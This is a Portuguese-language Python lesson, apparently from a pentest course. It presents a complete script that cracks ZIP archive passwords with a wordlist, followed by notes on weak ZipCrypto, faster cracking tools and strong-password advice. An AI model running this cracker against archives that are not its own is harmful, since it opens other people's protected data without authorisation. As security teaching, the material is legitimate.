Tenta quebrar a senha de arquivos compactados.

Contexto

Arquivos ZIP são onipresentes para o transporte de dados. Em um cenário de Pentest, após obter acesso a um sistema, você pode encontrar arquivos .zip protegidos que contêm documentos sensíveis, chaves privadas ou bancos de dados.

O objetivo deste módulo é:

  • Ataque de Força Bruta/Dicionário: Testar milhares de combinações contra a biblioteca de compressão do arquivo.
  • Validação de Integridade: O script utiliza a função de extração para verificar se a senha fornecida permite a leitura dos dados internos.
  • Automação: Eliminar a necessidade de ferramentas externas pesadas para senhas simples ou baseadas em wordlists conhecidas.

Possibilidades de Implementação

  • Biblioteca zipfile: Biblioteca nativa do Python que permite ler e escrever arquivos ZIP. Ela possui um método chamado extractall() que aceita o parâmetro pwd.
  • Multithreading: Como o processo de tentativa e erro é intensivo em CPU, o uso de múltiplas threads permite testar senhas simultaneamente.
  • Tratamento de Exceções: O Python lança um erro específico quando a senha está incorreta, o que é usado como gatilho para continuar o loop de tentativas.

Código

Este módulo utiliza a biblioteca nativa zipfile. O código foi desenhado para ser limpo e focar na lógica de tentativa e erro.

import zipfile
import time

def extract_zip(zip_file, password):
    """
    Tenta extrair o arquivo ZIP usando a senha fornecida.
    """
    try:
        # Tenta abrir e extrair o arquivo com a senha (convertida para bytes)
        zip_file.extractall(pwd=password.encode('utf-8'))
        return True
    except (RuntimeError, zipfile.BadZipFile, Exception):
        # RuntimeError ocorre quando a senha está incorreta
        return False

def main():
    print("=" * 60)
    print("Módulo: Zip Password Recovery | Projeto: 30 Lessons in Python")
    print("=" * 60)

    zip_filename = "arquivo_secreto.zip"  # Arquivo alvo
    wordlist_file = "custom_wordlist.txt" # Wordlist gerada na lição anterior

    try:
        # Carrega o arquivo ZIP
        archive = zipfile.ZipFile(zip_filename)

        print(f"[*] Iniciando ataque contra: {zip_filename}")

        start_time = time.time()

        with open(wordlist_file, "r") as f:
            for line in f:
                password = line.strip()
                print(f"[*] Testando: {password}", end="\r")

                if extract_zip(archive, password):
                    end_time = time.time()
                    print(f"\n\n[!] SUCESSO! Senha encontrada: {password}")
                    print(f"[*] Tempo decorrido: {end_time - start_time:.2f} segundos")
                    return

        print("\n[-] Esgotado: Nenhuma senha da wordlist funcionou.")

    except FileNotFoundError:
        print(f"[!] Erro: Certifique-se de que '{zip_filename}' e '{wordlist_file}' existem.")
    except Exception as e:
        print(f"[!] Erro inesperado: {e}")

if __name__ == "__main__":
    main()

Observações

  • Criptografia ZIP: Arquivos ZIP antigos usam uma criptografia fraca (ZipCrypto) que é vulnerável a ataques de texto claro conhecido. Versões modernas usam AES-256, que é muito mais robusto e exige bibliotecas externas como pyzipper em Python, pois o zipfile nativo tem suporte limitado para extração de AES.
  • Performance: Como Software Architect, você notará que o zipfile é implementado em Python puro para algumas operações, o que pode ser lento para ataques de força bruta massiva (milhões de senhas). Para esses casos, ferramentas em C/C++ como fcrackzip são preferíveis.
  • Segurança: Recomende em seu projeto que senhas de arquivos ZIP devem ter mais de 12 caracteres e misturar símbolos para resistir a ataques baseados em dicionário.